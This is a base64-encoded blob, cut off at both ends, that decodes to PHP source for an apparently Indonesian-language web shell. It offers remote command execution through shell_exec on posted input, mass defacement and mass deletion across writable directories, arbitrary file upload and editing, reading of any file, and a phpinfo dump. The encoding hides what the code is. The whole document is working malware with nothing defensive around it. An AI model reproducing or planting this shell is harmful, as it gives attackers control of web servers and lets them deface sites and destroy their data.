GNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyByb3dzPSc3JyBuYW1lPSdzY3JpcHQnIHBsYWNlaG9sZGVyPSdpc2kgZmlsZScgJF9yPjwvdGV4dGFyZWE+CgkJPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWZhY2UnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydtYXNzX2RlbGV0ZSddKSkgewplY2hvICIkX3MiOwpmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsKaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCWlmKGZpbGVfZXhpc3RzKCIkZGlyLyRuYW1hZmlsZSIpKSB7CgkJCQl1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CgkJCX0KCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQlpZihmaWxlX2V4aXN0cygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIikpIHsKCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7CgkJCX0KCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJaWYoZmlsZV9leGlzdHMoJOKWmikpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCQl1bmxpbmsoJOKWmik7CgkJCQkJCSTilp8gPSBoYXB1c19tYXNzYWwoJGRpcmMsJG5hbWFmaWxlKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQppZigkX1BPU1RbJ3N0YXJ0J10pIHsKCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOwp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBMb2thc2k6CgkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInPgoJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSduYW1hIGZpbGUnICRfcj48YnI+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAtYXBwZW5kJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWxldGUnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSB7CgkkY21kID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NtZCddLicgMj4mMScpOwp9CmVjaG8gIiRfcwo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAgbWItMyc+CgkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10sIEVOVF9RVU9URVMsICdVVEYtOCcpLiInIHBsYWNlaG9sZGVyPSd3aG9hbWknICRfcj4KCQkJPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0Jz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+CgkJPC9kaXY+Cgk8L2Zvcm0+IjsKCWlmKCRjbWQpOgoJZWNobyAnCgk8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CgkJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJCTxwcmUgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyI+PGNvZGU+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQsIEVOVF9RVU9URVMsICdVVEYtOCcpLic8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4nOwoJZWxzZWlmKCEkY21kICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyk6CgllY2hvICcKCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4KCQk8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KCQkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT5UaWRhayBhZGEgaGFzaWw8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+JzsKZW5kaWY7Cn0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsKCUBvYl9zdGFydCgpOwoJQGV2YWwoInBocGluZm8oKTsiKTsKCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOwoJQG9iX2VuZF9jbGVhbigpOwkKCSRhd2FsID0gc3RycG9zKCRidWZmLCI8Ym9keT4iKSs2OwoJJGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7CgllY2hvICI8Yj48cHJlIGNsYXNzPSdwaHBfaW5mbyBhbnUnPiIuc3Vic3RyKCRidWZmLCRhd2FsLCRha2hpci0kYXdhbCkuIjwvcHJlPjwvYj4iOwoJZXhpdDsKfQppZihpc3NldCgkX0dFVFsndXBsb2FkJ10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsndXBsJ10pKXsKCSRoYXNpbCA9IGNvdW50KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKCWZvcigkaXNpPTA7JGlzaTwkaGFzaWw7JGlzaSsrKXsKCQkkbmFtYWZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXVskaXNpXTsKCQkJJHVwID0gQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddWyRpc2ldLCIkcGF0aC8iLiRuYW1hZmlsZSk7CgkJfQoJCWlmKCRoYXNpbCA8IDIpewoJCQlpZigkdXApewoJCQllY2hvICI8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiAkbmFtYWZpbGUgb2shICIub2soKS4iPC9kaXY+IjsKCQl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX1lbHNlewoJZWNobyAiPHN0cm9uZz5VcGxvYWQ8L3N0cm9uZz4gJGhhc2lsIG9rISAiLm9rKCkuIjwvZGl2PiI7Cgl9Cn0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlW10nIG11bHRpcGxlPScnICRfcj4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgdmFsdWU9J3VwbG9hZCc+CgkJPC9kaXY+Cgk8L2Zvcm0+CjwvZGl2PiI7Cn0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGViYXJ1J10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsnYmlraW4nXSkpewoJJG5hbWUgPSAkX1BPU1RbJ25hbWFfZmlsZSddOwoJJGlzaV9maWxlID0gJF9QT1NUWydpc2lfZmlsZSddOwoJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWFfZmlsZSl7CgkJJGhhbmRsZSA9IEBmb3BlbigiJG5hbWFfZmlsZSIsICJ3Iik7CgkJaWYoJGlzaV9maWxlKXsKCQkJJGJ1YXQgPSBAZndyaXRlKCRoYW5kbGUsICRpc2lfZmlsZSk7CgkJfWVsc2V7CgkJCSRidWF0ID0gJGhhbmRsZTsKCQl9Cgl9CglpZigkYnVhdCl7CgkJZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPkJ1YXQgZmlsZTwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZmlsZVtdJyBwbGFjZWhvbGRlcj0nTmFtYSBmaWxlJyAkX3I+CgkJPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPiBJc2kgZmlsZToKCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIG5hbWU9J2lzaV9maWxlJyByb3dzPSc3JyBwbGFjZWhvbGRlcj0nSXNpIGZpbGUnICRfciA+PC90ZXh0YXJlYT4KCQk8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYmlraW4nIHZhbHVlPSdidWF0Jz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+IjsKfQppZihpc3NldCgkX0dFVFsnZGlyYmFydSddKSkgewplY2hvICIkX3MiOwppZihpc3NldCgkX1BPU1RbJ2J1YXQnXSkpewoJJG5hbWEgPSAkX1BPU1RbJ25hbWFfZGlyJ107Cglmb3JlYWNoICgkbmFtYSBhcyAkbmFtYV9kaXIpewoJCSRmb2xkZXIgPSBwcmVnX3JlcGxhY2UoIihbXlx3XHNcZFwtX34sOzpcW1xdXChcXS5dfFtcLl17Mix9KSIsICcnLCAkbmFtYV9kaXIpOwoJCSRmZCA9IEBta2RpciAoJGZvbGRlcik7Cgl9CglpZigkZmQpewoJCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgkJZWNobyAnPHN0cm9uZz5CdWF0IGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZm9sZGVyJz48L2k+IE5hbWEgZGlyOgoJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIG1iLTMnPgoJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZGlyW10nIHBsYWNlaG9sZGVyPSdOYW1hIGRpcicgJF9yPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYnVhdCcgdmFsdWU9J2J1YXQnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwoJfQp9Ci8vIGFraGlyIHRvb2xzCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKZWNobyAiPGJyPjxiPm5hbWUgOiA8L2I+Ii5iYXNlbmFtZSgkX0dFVFsnZmlsZXNyYyddKTsiPC9icj4iOwplY2hvICcKPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQiPgoJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEycHg7Ij48Y29kZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L2NvZGU+PC9wcmU+Cgk8L2Rpdj4KPC9kaXY+JzsKfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdoYXB1cycpewplY2hvICc8YnI+PGI+bmFtZSA6IDwvYj4nLmJhc2VuYW1lKCRfUE9TVFsncGF0aCddKTsnPC9icj4nOwovLyBmaWxlCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2dhbnRpX25hbWEnKXsKaWYoaXNzZXQoJF9QT1NUWyduYW1hX2JhcnUnXSkpewppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmFtYV9iYXJ1J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKZWNobyAnPHN0cm9uZz5HYW50aSBuYW1hPC9zdHJvbmc+IGdhZ2FsISAnLmVyKCkuJzwvZGl2Pic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25hbWFfYmFydSddOwp9CmVjaG8gJwo8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgbWItMyI+CgkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIiBuYW1lPSJuYW1hX2JhcnUiIHR5cGU9InRleHQiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImdhbnRpX25hbWEiPgoJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZ2FudGkgbmFtYSIvPgoJPC9kaXY+CjwvZm9ybT4nOwp9IGVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7CmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBvayEgJy5vaygpLic8L2Rpdj4nOwoJfWVsc2V7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJwo8ZGl2IGNsYXNzPSJtYi0zIj4KCTxmb3JtIG1ldGhvZD0iUE9TVCI+CgkJPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIG1iLTMiIHJvd3M9IjciIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KCQk8ZGl2IGNsYXNzPSJkLWdyaWQgZ2FwLTIiPgoJCQk8aW5wdXQgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20iIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImVkaXQiLz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+JzsKCX0KfWVsc2V7Ci8vaGFwdXMgZGlyICYgZmlsZQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2hhcHVzJyl7CmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJfQp9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpewppZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGZpbGU8L3N0cm9uZz4gZ2FnYWwhICcuZXIoKS4nPC9kaXY+JzsKCQl9Cgl9Cn0KJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKJHBhID0gZ2V0Y3dkKCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1kYXJrIHRleHQtbGlnaHQiPgo8dGhlYWQ+Cjx0cj4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm5hbWU8L3RkPgoJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPmxhc3QgZWRpdDwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+c2l6ZTwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+b3duZXI8Z3I+OjwvZ3I+ZG93bmVyPC90ZD4KCQk8dGQgY2xhc3M9InRleHQtY2VudGVyIj5wZXJtaXNzaW9uPC90ZD4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm9wdGlvbnM8L3RkPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHkgY2xhc3M9InRleHQtbm93cmFwIj4KPHRyPgoJPHRkPjxpIGNsYXNzPSJiaSBiaS1mb2xkZXIyLW9wZW4iPjwvaT48YSBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1zZWNvbmRhcnkiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj4uLjwvYT48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJCTxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZmlsZWJhcnUmcGF0aD0nLiRkaXIuJyI+PGkgY2xhc3M9ImJpIGJpLWZpbGUtZWFybWFyay1wbHVzLWZpbGwiPjwvaT48L2E+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZGlyYmFydSZwYXRoPScuJGRpci4nIj48aSBjbGFzcz0iYmkgYmktZm9sZGVyLXBsdXMiPjwvaT48L2E+CgkJPC9kaXY+Cgk8L3RkPgo8L3RyPic7CmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7CgkkZHQgPSBkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgiJHBhdGgvJGRpciIpKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCSRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIkcGF0aC8kZGlyIikpOwoJCSRkb3duZXIgPSAkZG93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZG93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZGlyIik7Cgl9CglpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKSk7CgkJJGRncnAgPSAkZGdycFsnbmFtZSddOwoJfWVsc2V7CgkJJGRncnAgPSBmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKTsKCX0KaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CmVjaG8gIgo8dHI+Cgk8dGQ+PGkgY2xhc3M9J2JpIGJpLWZvbGRlci1maWxsJz48L2k+PGEgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtc2Vjb25kYXJ5JyBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkdDwvdGQ+Cgk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4tPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkb3duZXI8Z3I+OjwvZ3I+JGRncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGdyPic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPHJkPic7CmVjaG8gcCgiJHBhdGgvJGRpciIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2dyPjwvcmQ+PC90ZD4nOwplY2hvICIKCTx0ZCBjbGFzcz1cInRleHQtY2VudGVyXCI+Cgk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJPGRpdiBjbGFzcz1cImJ0bi1ncm91cFwiPgoJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJPGJ1dHRvbiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc21cIiBuYW1lPVwib3B0XCIgdmFsdWU9XCJoYXB1c1wiPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9idXR0b24+CgkJPC9kaXY+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgoJCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKCSRmdCA9IGRhdGUoIlktbS1kIEg6aTpzIiwgZmlsZW10aW1lKCIkcGF0aC8kZmlsZSIpKTsKCWlmKCFpc19maWxlKCRwYXRoLicvJy4kZmlsZSkpIGNvbnRpbnVlOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7CgkJJGZvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIiRwYXRoLyRmaWxlIikpOwoJCSRmb3duZXIgPSAkZm93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZm93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZmlsZSIpOwoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CgkJJGZncnAgPSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCIkcGF0aC8kZmlsZSIpKTsKCQkkZmdycCA9ICRmZ3JwWyduYW1lJ107Cgl9ZWxzZXsKCQkkZmdycCA9IGZpbGVncm91cCgiJHBhdGgvJGZpbGUiKTsKCX0KZWNobyAiCjx0cj4KCTx0ZD48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrLWNvZGUtZmlsbCc+PC9pPjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXNlY29uZGFyeScgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+JGZ0PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiIuc3ooZmlsZXNpemUoJGZpbGUpKS4iPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRmb3duZXI8Z3I+OjwvZ3I+JGZncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxncj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8cmQ+JzsKZWNobyBwKCIkcGF0aC8kZmlsZSIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZ3I+PC9yZD48L3RkPic7CmVjaG8gIgoJPHRkIGNsYXNzPVwidGV4dC1jZW50ZXJcIj4KCQk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJCTxkaXYgY2xhc3M9XCJidG4tZ3JvdXBcIj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZWRpdFwiPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9idXR0b24+CgkJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZG93bmxvYWRcIj48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiaGFwdXNcIj48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYnV0dG9uPgoJCQk8L2Rpdj4KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHV